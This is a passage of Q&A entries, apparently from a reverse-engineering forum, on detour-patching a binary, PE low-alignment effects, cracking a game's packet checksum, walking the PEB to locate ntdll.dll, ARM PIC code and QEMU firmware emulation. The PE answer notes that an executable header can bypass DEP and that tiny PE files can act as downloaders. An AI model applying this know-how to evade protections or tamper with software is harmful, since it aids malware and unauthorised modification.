        "Body": "<p>I need a little help from you guys! At present, I'm working on an IDA Pro Database in order to create a patch for an executable, and I'm totally stuck on editing the following sub:</p>\n\n<pre><code>.text:008EC420 ; char __thiscall sub_8EC420(MyClass *this)\n.text:008EC420 sub_8EC420      proc near\n.text:008EC420 var_8           = dword ptr -8\n.text:008EC420 var_4           = dword ptr -4\n.text:008EC420                 sub     esp, 8\n.text:008EC423                 push    ebx\n.text:008EC424                 mov     ebx, ecx\n.text:008EC426                 cmp     dword ptr [ebx+79954h], 0\n.text:008EC42D                 mov     [esp+0Ch+var_4], ebx\n.text:008EC431                 mov     [esp+0Ch+var_8], 0\n.text:008EC439                 jle     loc_8EC4F2\n.text:008EC43F                 push    ebp\n.text:008EC440                 push    esi\n.text:008EC441                 push    edi\n.text:008EC442                 lea     edi, [ebx+114h]\n.text:008EC448                 jmp     short loc_8EC450\n.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 lea     eax, [edi-0Ch]\n.text:008EC453                 push    eax\n.text:008EC454                 call    sub_A00890\n.text:008EC459                 mov     esi, eax\n.text:008EC45B                 add     esp, 4\n.text:008EC45E                 cmp     esi, 0FFFFFFFFh\n.text:008EC461                 jnz     short loc_8EC472\n.text:008EC463                 mov     dword ptr [edi], 0\n.text:008EC469                 mov     dword ptr [edi-4], 0FFFFh\n.text:008EC470                 jmp     short loc_8EC480\n.text:008EC472 loc_8EC472:\n.text:008EC472                 push    esi\n.text:008EC473                 call    sub_A00870\n.text:008EC478                 add     esp, 4\n.text:008EC47B                 mov     [edi], eax\n.text:008EC47D                 mov     [edi-4], esi\n.text:008EC480 loc_8EC480:\n.text:008EC480                 xor     ebp, ebp\n.text:008EC482                 cmp     [edi+0ECh], ebp\n.text:008EC488                 jbe     short loc_8EC4D2\n.text:008EC48A                 lea     esi, [edi+0BCh]\n.text:008EC490 loc_8EC490:\n.text:008EC490                 lea     ecx, [esi-0Ch]\n.text:008EC493                 push    ecx\n.text:008EC494                 call    sub_A00890\n.text:008EC499                 mov     ebx, eax\n.text:008EC49B                 add     esp, 4\n.text:008EC49E                 cmp     ebx, 0FFFFFFFFh\n.text:008EC4A1                 jnz     short loc_8EC4B2\n.text:008EC4A3                 mov     dword ptr [esi], 0\n.text:008EC4A9                 mov     dword ptr [esi-4], 0FFFFh\n.text:008EC4B0                 jmp     short loc_8EC4C0\n.text:008EC4B2 loc_8EC4B2:\n.text:008EC4B2                 push    ebx\n.text:008EC4B3                 call    sub_A00870\n.text:008EC4B8                 add     esp, 4\n.text:008EC4BB                 mov     [esi], eax\n.text:008EC4BD                 mov     [esi-4], ebx\n.text:008EC4C0 loc_8EC4C0:\n.text:008EC4C0                 add     ebp, 1\n.text:008EC4C3                 add     esi, 14h\n.text:008EC4C6                 cmp     ebp, [edi+0ECh]\n.text:008EC4CC                 jb      short loc_8EC490\n.text:008EC4CE                 mov     ebx, [esp+18h+var_4]\n.text:008EC4D2 loc_8EC4D2:\n.text:008EC4D2                 mov     eax, [esp+18h+var_8]\n.text:008EC4D6                 add     eax, 1\n.text:008EC4D9                 add     edi, 3E4h\n.text:008EC4DF                 cmp     eax, [ebx+79954h]\n.text:008EC4E5                 mov     [esp+18h+var_8], eax\n.text:008EC4E9                 jl      loc_8EC450\n.text:008EC4EF                 pop     edi\n.text:008EC4F0                 pop     esi\n.text:008EC4F1                 pop     ebp\n.text:008EC4F2 loc_8EC4F2:\n.text:008EC4F2                 mov     al, 1\n.text:008EC4F4                 pop     ebx\n.text:008EC4F5                 add     esp, 8\n.text:008EC4F8                 retn\n.text:008EC4F8 sub_8EC420      endp\n</code></pre>\n\n<p>The <code>MyClass</code> entity looks like this:</p>\n\n<pre><code>struct MyClass // 502076 bytes\n{\n  void *VFT; // 4 bytes\n  MyStruct Structs[500]; // 498000 bytes = sizeof(MyStruct)=996 * 500\n  // more data...\n};\n</code></pre>\n\n<p>In order to allow <code>MyClass</code> to parse and manage more <code>MyStruct</code> instances, I enlarged the <code>.data</code> segment of the executable by <code>sizeof(MyStruct1)=996 * 1000 = 996000 bytes</code> and I appended a new <code>MyStruct[1000]</code> at the end of it. Now, all what I need to do is to shift every memory pointer trying to access the <code>MyClass.Structs</code> memory region to the <code>MyStruct[1000]</code> memory region. Many modifications were pretty easy to achieve, but I really don't know how to deal with this one.</p>\n\n<p>The method <code>sub_8EC420</code> iterates through every <code>MyStruct</code> instance in <code>MyClass.Structs</code> getting a specific field and doing some operations with it:</p>\n\n<pre><code>char *v2 = &amp;this-&gt;Structs[0].ValueAt272;\n// offset = MyClass + 276 | MyClass-&gt;Structs + 272\n\ndo\n{\n    // operations...\n    v2 += 996; // sizeof(MyStruct)\n}\nwhile ( ... );\n</code></pre>\n\n<p>In order to successfully redirect the memory pointer to the new <code>MyStruct[1000]</code> array located at the end of the <code>.data</code> segment, I must change the following instruction:</p>\n\n<pre><code>.text:008EC442                 lea     edi, [ebx+114h]\n// offset = MyClass + 276 | MyClass-&gt;Structs + 272\n// bytes = 8D BB 14 01 00 00\n</code></pre>\n\n<p><code>EBX</code> is the register that points to my <code>MyClass</code> instance offset. But I can't transform it into this:</p>\n\n<pre><code>.text:008EC442                 mov edi, 2DABF84h; nop;\n</code></pre>\n\n<p>Because, as you can see, just after, the <code>EDI</code> register value is being used and this would lead to bad results:</p>\n\n<pre><code>.text:008EC450                 lea     eax, [edi-0Ch]\n</code></pre>\n\n<p>I also tried an edited <code>LEA</code> approach but it's not producing good results either:</p>\n\n<pre><code>.text:008EC442                 lea     edi, [ebx+14A027Ch]\n// offset = MyStruct[1000] (0x02DABE74) - MyClass Instance (0x190BD08) + 272\n// bytes = 8D BB 7C 02 4A 01\n</code></pre>\n\n<p>On the top of that, inserting additional bytes to this sub completly breaks my IDA Pro database. So... how should I deal with this?</p>\n",
        "Title": "Redirecting/Remapping/Rerouting a Memory Access",
        "Tags": "|ida|disassembly|assembly|memory|",
        "Answer": "<p>One way to patch the instruction <code>lea     eax, [edi-0Ch]</code>, is to create an advanced detour inside the code to your own custom .text segment and then back again to the code.</p>\n\n<p>For a regular <code>mov reg32, imm32</code> opcode you need at least 5 bytes of space which will obviously never fit into the 3 byte opcode.</p>\n\n<p>For a detour opcode sequence, you need to either craft your own relative jump (5 bytes), or use the shortest syntax for absolute jump (6 bytes):</p>\n\n<pre><code>PatchStart:\n    push  loc_patch1  ;; push address of the patch code\n    ret               ;; pop address and jump to it\n</code></pre>\n\n<p>So if the code originally looked like this:</p>\n\n<pre><code>.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 lea     eax, [edi-0Ch] ;; 3 bytes\n.text:008EC453                 push    eax            ;; 1 byte\n.text:008EC454                 call    sub_A00890     ;; 5 bytes\n.text:008EC459                 \n</code></pre>\n\n<p>You can replace it with:</p>\n\n<pre><code>.text:008EC44A                 align 10h\n.text:008EC450 loc_8EC450:\n.text:008EC450                 push    loc_patch1     ;; 5 bytes\n.text:008EC455                 ret                    ;; 1 byte\n.text:008EC456                 nop                    ;; pad other 3 bytes\n.text:008EC457                 nop  \n.text:008EC458                 nop\n.text:008EC459                 \n</code></pre>\n\n<p>And now for the patch itself:</p>\n\n<pre><code>           loc_patch1:\n                           mov     eax, PatchedValue ;; lea eax,[edi-0Ch]\n                           push    eax            \n                           call    sub_A00890     \n                           push    loc_8EC459     ;; jump back to source\n                           ret\n</code></pre>\n\n<p>There are some performance penalties for long absolute jumps, but in the end it will get your executable patched without any tedious relocation needed.</p>\n\n<p>If you wish to craft your own long relative jumps/calls then the opcodes (5 bytes) look like this:</p>\n\n<pre><code>;; call +0xCAFE\nE8 FE CA 00 00\n;; jmp  +0xCAFE\nE9 FE CA 00 00\n</code></pre>\n\n<p>The bonus is that relative jumps require only 5 bytes. So if you create a new second text segment or replace some unused code inside the original .text segment, you'll be good to go.</p>\n"
    },
    {
        "Id": "4457",
        "CreationDate": "2014-05-27T07:27:00.773",
        "Body": "<p>I only found this term \"low alignment mode\" in the <a href=\"https://code.google.com/p/corkami/wiki/PE\" rel=\"nofollow\">corkami wiki</a>.</p>\n\n<blockquote>\n  <ul>\n  <li><p>standard mode: 200 &lt;= FileAlignment &lt;= SectionAlignment and 1000 &lt;= SectionAlignment</p></li>\n  <li><p>low alignment: 1 &lt;= FileAlignment = SectionAlignment &lt;= 800</p></li>\n  </ul>\n</blockquote>\n\n<p>The numbers are hex values.</p>\n\n<p>Some possible implications are described by <a href=\"https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf\" rel=\"nofollow\">ReversingLabs</a>  </p>\n\n<p>It seems low alignment is necessary to make the PE Header writable. However, FileAlignment and SectionAlignment have to be lower than or equal to 200h, which is more restrictive than the low alignment mode above. So I am not sure if this is really a consequence of low alignment or if low alignment mode is just one part of that <em>trick</em>.  </p>\n\n<p>In addition it seems that the virtual addresses have to be equal to the physical ones.</p>\n\n<p>I would like to understand this better.<br>\nMy questions are: What implications has the low alignment mode? How is the way changed the loader loads the PE? Why is it that way?</p>\n",
        "Title": "What implications has the low alignment mode of a PE file?",
        "Tags": "|pe|",
        "Answer": "<p>A writable header is a side-effect of the low alignment.  More interestingly, an <em>executable</em> header is possible, too, bypassing DEP restrictions even when set to enable for all processes.  That allows code to execute directly from the header, which would normally not be allowed.  When used for a DLL, the ImageBase can become the entrypoint (i.e. call LoadLibrary; call eax), which might be a bit unexpected.</p>\n\n<p>Other implications include that some tools cannot disassemble or dump such files properly.  A low alignment allows for the creation of very small files (as small as 268 bytes on 64-bit or 255 bytes on 32-bit Vista and later systems (XP allows the file to be 233 bytes long)), by overlapping the tables, and even removing all of the sections.  This small size has been proven to be sufficient for a downloader.</p>\n"
    },
    {
        "Id": "4460",
        "CreationDate": "2014-05-27T09:02:05.960",
        "Body": "<p>I am trying to reverse engineer a 16 bit checksum algorithm of one relatively old (10 years) LAN game that is no longer supported nor has source code available. \nAs it seems, data packets don't have standard structure when it comes to placing checksum bytes:</p>\n\n<pre><code>Example 1:\n\n1f456e01\n</code></pre>\n\n<p>Where first byte <code>1f</code> seems to repeat itself in each packet and I assume it doesn't take part in generating checksum. </p>\n\n<p>Next two bytes <code>456e</code> represent a checksum that presumably is a variation of <code>CRC-CCITT</code> with non-standard polynomial. </p>\n\n<p>Lastly, <code>01</code> byte represents data.</p>\n\n<p>Here are few more examples of packets with various data values:</p>\n\n<pre><code>1f466e02\n1f496e05\n1f4b6e07\n1f4c6e08\n</code></pre>\n\n<p>I wish I could post more diverse values but these are only ones I've been able to capture so far.</p>\n\n<p>I tried fiddling with <a href=\"http://reveng.sourceforge.net/\" rel=\"noreferrer\">reveng</a> to reverse engineer the polynomial with following command:</p>\n\n<pre><code>reveng -w 16 -s 01456e 02466e 05496e\n</code></pre>\n\n<p>Here the checksum bytes are relocated at the end, as reveng expects them in this format. But this gave no results.</p>\n\n<p>I have tried comparing these checksums to most if not all common crc algorithms using online calculators but none of them give even close outputs to those above.</p>\n\n<p>Honestly, I don't know where else to look.</p>\n\n<p>Any hints/help or anything at all is much appreciated.</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>I managed to capture some more samples, however they are slightly different in terms of structure:</p>\n\n<p>Example 1:</p>\n\n<pre><code>0e ed76 00 312e362e37544553540000000000000000000000000000000000000000 00\n</code></pre>\n\n<p>Here the first byte <code>0E</code> represents a sort of index, that I still think doesn't take part in generating checksum.\nThen comes two byte checksum <code>ED76</code> followed by <code>00</code> sort of separator (newline?) byte that I also think doesn't take part in computing checksum.\nAfterwards follows data sequence: <code>312e362e37544553540000000000000000000000000000000000000000</code> which finally is proceeded by <code>00</code> terminating character that I also think has nothing to do with checksum.</p>\n\n<p>I can manipulate with the data part of this sequence of bytes so here are some more examples:</p>\n\n<pre><code>Example 2:\n\nHEX:    0E109D00414141414141414141414141414141414141414141414141414141414100\nASCII:  ....AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.\n\nExample 3:\n\nHEX:    0E8DC300424242424242424242424242424242424242424242424242424242424200\nASCII:  ....BBBBBBBBBBBBBBBBBBBBBBBBBBBBB.\n\nExample 4:\n\nHEX:    0E403500313131313131313131313131313131313131313131313131313131313100\nASCII:  .@5.11111111111111111111111111111.\n\nExample 5:\n\nHEX:    0E34CF00353535353535353535353535353535353535353535353535353535353500\nASCII:  .4..55555555555555555555555555555.\n\nExample 6:\n\nHEX:    0E3E0C00313233343536373839304142434445464748494A4B4C4D4E4F5051525300\nASCII:  .&gt;..1234567890ABCDEFGHIJKLMNOPQRS.\n</code></pre>\n\n<p><strong>EDIT 2:</strong>  More samples added, checksum bytes reversed to show the actual 16 bit int (little endian)</p>\n\n<pre><code>Data         Checksum\n\n0x01         0x6E45  \n0x02         0x6E46\n0x03         0x6E47\n\n0x0001       0x3284\n\n0x0002       0x3285\n0x0003       0x3286\n0x0104       0x32A8\n0x0005       0x3288\n0x0903       0x33AF\n0x0106       0x32AA\n\n0x3600       0x0AAE          \n\n0xAD00       0x1A05          \n\n0xF300       0x230B \n0xF400       0x232C\n0xF500       0x234D\n0xF600       0x236E\n0xF700       0x238F \n0xF800       0x23B0 \n\n0xFE00       0x2476          \n0xA800       0x1960          \n\n0xE200       0x20DA\n0xE500       0x213D          \n0xEE00       0x2266\n\n0x7300       0x128B\n0x7600       0x12EE          \n0xF700       0x238F          \n\n0xB400       0x1AEC\n0xB800       0x1B70          \n0xBC00       0x1BF4\n\n0x015E00     0xF68B\n0x013D00     0xF24A\n0x011C00     0xEE09 \n</code></pre>\n\n<p><strong>EDIT 3</strong>: More samples that might make it easier to see the pattern:</p>\n\n<pre><code>Checksum     Data (ASCII)\n\n3540         11111111111111111111111111111\n3561         11111111111111111111111111112\n3582         11111111111111111111111111113\n\n3981         11111111111111111111111111121\n39A2         11111111111111111111111111122\n\nc1a1         11111111111111111111111111211\n4DC1         11111111111111111111111112111\n\n5de1         11111111111111111111111121111\n7201         11111111111111111111111211111\n</code></pre>\n\n<p><strong>EDIT 4:</strong></p>\n\n<p>There was a typo in one of <strong>EDIT 3</strong> samples - correct checksum for <code>11111111111111111111111112111</code> is <code>4DC1</code> instead of <code>C10E</code>. Edited original sample. Apologies to everyone who lost their time because of this.</p>\n\n<p><strong>EDIT 5:</strong></p>\n\n<p>It turns out, the index byte does play a role in calculating checksum, here is one particular example proving it:</p>\n\n<pre><code>INDEX   CHECKSUM    PAYLOAD\n\n0x2B    0x704E      0x7E\n0x3E    0x72C1      0x7E\n\nSame payload has different checksum for different indexes. (checksum bytes reversed to show the actual 16 bit int)\n</code></pre>\n\n<p>Some more samples:</p>\n\n<pre><code>INDEX   CHECKSUM    PAYLOAD\n\n0x3E    0x72C0      0x7D\n0x1F    0x6E45      0x01\n0x2B    0x704F      0x7F\n</code></pre>\n\n<p><strong>Epilogue</strong></p>\n\n<p>Please see the accepted answer for the exact algorithm. Special thanks to <strong>Edward</strong>, <strong>nrz</strong> and <strong>Guntram Blohm</strong>; solving this would take a lifetime without your help guys! </p>\n",
        "Title": "Guessing CRC checksum algorithm",
        "Tags": "|deobfuscation|decryption|networking|",
        "Answer": "<p>Got it.  Here's how to calculate, using your first string as a simple example:</p>\n\n<pre><code>1f456e01\n</code></pre>\n\n<p>First, we rearrange the packet, omitting the checksum.</p>\n\n<pre><code>1f 01\n</code></pre>\n\n<p>Then prepend the values A3 02:</p>\n\n<pre><code>a3 02 1f 01\n</code></pre>\n\n<p>Then calculate the checksum by starting with a sum of 0, multiplying the sum by 33 (decimal) each time and adding the value of the next byte.</p>\n\n<p>Here it is in C with a few of your sample strings for illustrations.  Note that this assumes a little-endian machine (e.g. x86).</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;stdint.h&gt;\n\n\nconst unsigned char s1[]= \"\\x0e\\x01\\x72\\x00\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x31\\x32\\x31\\x31\\x31\\x31\\x31\\x00\";\nconst unsigned char s2[]=\"\\x2b\\x4f\\x70\\x7f\";\nconst unsigned char s3[]=\"\\x1f\\x46\\x6e\\x02\";\n\nuint16_t verify(const unsigned char *pkt, size_t sz)\n{\n    uint16_t sum = 0xa3 * 33 + 2;\n    int i;\n    for (i=0; i &lt; sz; ++i) {\n        if ((i != 1) &amp;&amp; (i != 2))\n            sum = sum*33 + pkt[i];\n    }\n    return sum;\n}\n\nint main()\n{\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s1, sizeof(s1)-1), *(uint16_t *)(&amp;s1[1]));\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s2, sizeof(s2)-1), *(uint16_t *)(&amp;s2[1]));\n    printf(\"calculated %4.4x, actual %4.4x\\n\", \n         verify(s3, sizeof(s3)-1), *(uint16_t *)(&amp;s3[1]));\n    return 0;\n}\n</code></pre>\n\n<p>Here's the output from that program:</p>\n\n<pre><code>calculated 7201, actual 7201\ncalculated 704f, actual 704f\ncalculated 6e46, actual 6e46\n</code></pre>\n\n<h1>Update:</h1>\n\n<p>I thought it might be useful to describe how I came about this answer so that it may help others in the future.  First, as other answers note, your packets that were identical except for a single bit were invaluable in determining the general checksum algorithm (multiplying by 33 and adding the next byte). </p>\n\n<p>What remained was to determine the starting position which could have included the first byte (the one you're calling the <em>index byte</em>) and/or the length.  When I compared two packets which were identical except for the index byte, and assuming a linear relationship also for these bytes, it was easy to determine that the index byte was \"next to\" the data bytes for calculation purposes.  </p>\n\n<p>When I did that, all of the complete packets among your samples differed from my calculated value (long packets all by the constant <code>0xe905</code> and short packets by <code>0x6a45</code>).  Since the checksum is only 2 bytes, I guessed that there might be a 2-byte initialization value and simply wrote a small program to try all combinations.  I chose one combination (A3 02) but in fact, there are exactly eight combinations that work -- all you need is something that ultimately evaluates to <code>0x1505</code> (5381 decimal).</p>\n"
    },
    {
        "Id": "4465",
        "CreationDate": "2014-05-27T12:15:13.320",
        "Body": "<p>I am trying to get the base address of <code>ntdll.dll</code> over the <code>PEB</code>. So, what I did was to dump the <code>PEB</code> (<code>d fs:[30]</code>). Then, I tried to get to <code>PEB_LDR_DATA</code> over the offset <code>0xC</code>. Over the offset <code>0x1C</code> of <code>PEB_LDR_DATA</code> I found the the pointer of <code>InInitializationOrderModuleList</code> and I was told that I can find the <code>ntdll.dll</code> address there. And that I should first find the address of <code>kernel32.dll</code> (which is always the second entry). So, I was able to find the address of <code>kernel32.dll</code> but it seems like I can't find the address of <code>ntdll.dll</code>. </p>\n\n<pre><code>00251ED8  .\u071b\u1f48%\u1eac%\u1f50%\u1eb4%.....@\u1434@\u6000.TV\u065c\u0694\u5000...\ub268\u7c98\ub268\u7c98\u8da8\u5373....\uabab\uabab\uabab\uabab......\u0728\u2010%\u1ee0%\u2018%\u1ee8%\n00251F58  \u2020%\u1ebc%.\u7c91\u2c28\u7c92\u6000:\u0208\ud028\u7c98\u2158\u7c93\u4004\u8008..\ub2c8\u7c98\ub2c8\u7c98\ubfbf\u4802....\uabab\uabab\uabab\uabab......\u0735C:\\WINDOWS\\system32\\\n00251FD8  kernel32.dll.\uabab\uabab\uabab\uabab\ufeee\ufeee\ufeee......\u07c1\u2150%\u1f48%\u2158%\u1f50%\u2160%\u1f58%.\u7c80\ub63e\u7c80\u8000@B\u1fb0%\u1fd8%\u4004\u8008..\ub2b0\u7c98\ub2b0\u7c98\ubfc0\u4802\n00252058  ....\uabab\uabab\uabab\uabab.....\u07ceC:\\WINDOWS\\WinSxS\\x86_Microsoft.VC90.CRT_1fc8b3b\n002520D8  9a1e18e3b_9.0.21022.8_x-ww_d08d0375\\MSVCR90.dll.\uabab\uabab\uabab\uabab.....\u07e9\u1eac%\u2010%\n00252158  \u1eb4%\u2018%\u1ebc%\u2020%.\u7852\u2d40\u7854\u3000.\u00be\u00c0\u2078%\u2120%\u4006\u9008..\ub2c0\u7c98\ub2c0\u7c98\u3dce\u4731....\uabab\uabab\uabab\uabab....\u07ca.\u14ee\u00ee\u0178%\u0178%\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\ufeee\n</code></pre>\n\n<p>This is the part where I have found the <code>kernel32.dll</code>. But in the fact of that this a linked list. Shouldn't I be able to find <code>ntdll.dll</code> too? </p>\n\n<p>When, I open up the window of \"Executable Modules\" I can see the <code>ntdll.dll</code> but it seem I am not able to find the base address inside of the <code>Struct</code>. </p>\n\n<p>Please tell me if you need clarification or if I am grievously mistaken.</p>\n",
        "Title": "Where is ntdll.dll?",
        "Tags": "|windows|assembly|memory|immunity-debugger|",
        "Answer": "<p>Assuming you want to see it in Windbg.</p>\n\n<p>You can follow this walk through for each pointer points to successive <code>LDR_DATA_TABLE_ENTRY</code> the output is from <code>calc.exe</code>. </p>\n\n<pre><code>0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(@$peb+c)+c)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\calc.exe\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(@$peb+c)+c))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ntdll.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(@$peb+c)+c)))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\kernel32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(@$peb+c)+c))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\SHELL32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ADVAPI32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\RPCRT4.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\Secur32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\GDI32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\USER32.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\msvcrt.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\SHLWAPI.dll\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"\"\n0:000&gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))))\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\calc.exe\"\n</code></pre>\n\n<p><strong>an alternate representation of the above method</strong></p>\n\n<pre><code>lkd&gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&gt;Ldr-&gt;InLoadOrderModuleList.Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\windbg.exe\"\nlkd&gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&gt;Ldr-&gt;InLoadOrderModuleList.Flink-&gt;Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ntdll.dll\"\nlkd&gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&gt;Ldr-&gt;InLoadOrderModuleList.Flink-&gt;Flink-&gt;Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\kernel32.dll\"\nlkd&gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&gt;Ldr-&gt;InLoadOrderModuleList.Flink-&gt;Flink-&gt;Flink-&gt;Flink)\n   +0x024 FullDllName : _UNICODE_STRING \"C:\\WINDOWS\\system32\\ADVAPI32.dll\"\n</code></pre>\n"
    },
    {
        "Id": "4474",
        "CreationDate": "2014-05-28T18:58:41.147",
        "Body": "<p>What is this instruction trying to do?</p>\n\n<pre><code> .text:4044A5EC LDR     R5, =(unk_40885080 - 0x4044A5F8)\n</code></pre>\n\n<p>Looking at the value of unk_40885080 it holds a value of 20 in the .data segment.</p>\n",
        "Title": "Understanding unknown in IDA",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>This seems to be ARM PIC (Position-Independent) code, where the address is given relative to the program counter. Ida detects this and shows the \"real\" address. </p>\n\n<p>Unfortunately, you didn't post any code around the your single statement, so i'm using one of my own disassemblies to show you:</p>\n\n<pre><code>.text:00062454                 LDR             R3, [R4,#8]\n.text:00062458                 MOV             R0, #0x2C ; ','\n.text:0006245C                 LDR             R1, =(unk_218172 - 0x62474)  &lt;--- a\n.text:00062460                 MOV             R5, #0\n.text:00062464                 MOV             R2, #4  ; n\n.text:00062468                 STRB            R0, [R3,#0x12]\n.text:0006246C                 ADD             R1, PC, R1                   &lt;--- b\n.text:00062470                 LDR             R3, [R4,#8]\n.text:00062474                 ADD             R0, R3, #0x30 ; dest\n.text:00062478                 STR             R1, [R3,#8]\n.text:0006247C                 STR             R1, [R3,#0x14]\n</code></pre>\n\n<p>The code loads some value into R1 (a), then (b) adds PC to it. So, the value of the register is supposed to be a pointer into memory, but beause PC gets added later, the value that is loaded at 2645C wouldn't make any sense. Ida detects the ADD instruction, and shows the LDR instruction in a way that lets you see where it's supposed to point to.</p>\n\n<p>The fact that the \"correcting offset\" of 0x62474 is not the address of the <code>ADD</code> instruction is because of pipelining within the processor; at the moment the <code>ADD</code> gets executed, the next instructions have already been read, so PC is two instructions \"behind\" where the <code>ADD</code> instruction is located.</p>\n\n<p>(The reason why the compiler produces this kind of code is, when the same code gets loaded at a different address later it stays valid, even without the relocation patching the linker/loader would have to do otherwise. That's called PIC, or Position-independent code.)</p>\n"
    },
    {
        "Id": "4480",
        "CreationDate": "2014-05-29T16:07:27.903",
        "Body": "<p>I'm trying to emulate a TP-Link WR740N in Qemu (MIPS). I have extracted the <code>rootfs.img</code> from the firmware, and downloaded <code>vmlinux-2.6.32-5-4kc-malta</code> from here: <a href=\"http://people.debian.org/~aurel32/qemu/mips/\" rel=\"noreferrer\">http://people.debian.org/~aurel32/qemu/mips/</a>.</p>\n\n<p>Then, I started Qemu with these parameters:</p>\n\n<pre><code>qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -hda 'rootfs.img' -append \"root=/dev/sda1 console=tty0\" -nographic\n</code></pre>\n\n<p>And it got stuck on:</p>\n\n<pre><code>[0.000000] console [tty0] enabled, bootconsole disabled\n</code></pre>\n\n<p>I've also tried to run it like this:</p>\n\n<pre><code>sudo qemu-system-mips -M malta -initrd 'rootfs.img' -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append \"console=ttyS0,115200 root=/dev/sda rootfstype=jffs2 init=/sbin/init\" -hda 'hda.img' \n</code></pre>\n\n<p>and I get this error:</p>\n\n<pre><code>[    0.796000]  sda: unknown partition table\n[    0.808000] sd 0:0:0:0: [sda] Attached SCSI disk\n[    0.812000] RAMDISK: squashfs filesystem found at block 0\n[    0.812000] RAMDISK: Loading 2556KiB [1 disk] into ram disk... done.\n[    0.928000] VFS: Cannot open root device \"sda\" or unknown-block(8,0)\n[    0.928000] Please append a correct \"root=\" boot option; here are the available partitions:\n[    0.928000] 0800           65536 sda driver: sd\n[    0.932000] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,0)\n</code></pre>\n\n<p>New try after answer from 6EQUJ5 [I still get the same error though (the second one)]:</p>\n\n<p>This is what I'm trying:</p>\n\n<pre><code>sudo qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append \"init=/bin/sh\" -hda 'myFileSystem.img'\n</code></pre>\n\n<p>And this is a link to download the filesystem I've created:</p>\n\n<pre><code>http://speedy.sh/vBUEQ/myFileSystem.img\n</code></pre>\n\n<p>Running \"file\" on my filesystem:</p>\n\n<pre><code>Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=dac7072e-2c8b-408f-a080-57ea60cfd9ea\n</code></pre>\n\n<p>Those are the commands I've used to create it and move the files into it:</p>\n\n<pre><code>dd if=/dev/zero of=~/myFileSystem.img bs=1024 count=65536\nmke2fs myFileSystem.img\nmkdir /mnt/virtual\nmount -o loop ~/myFileSystem.img 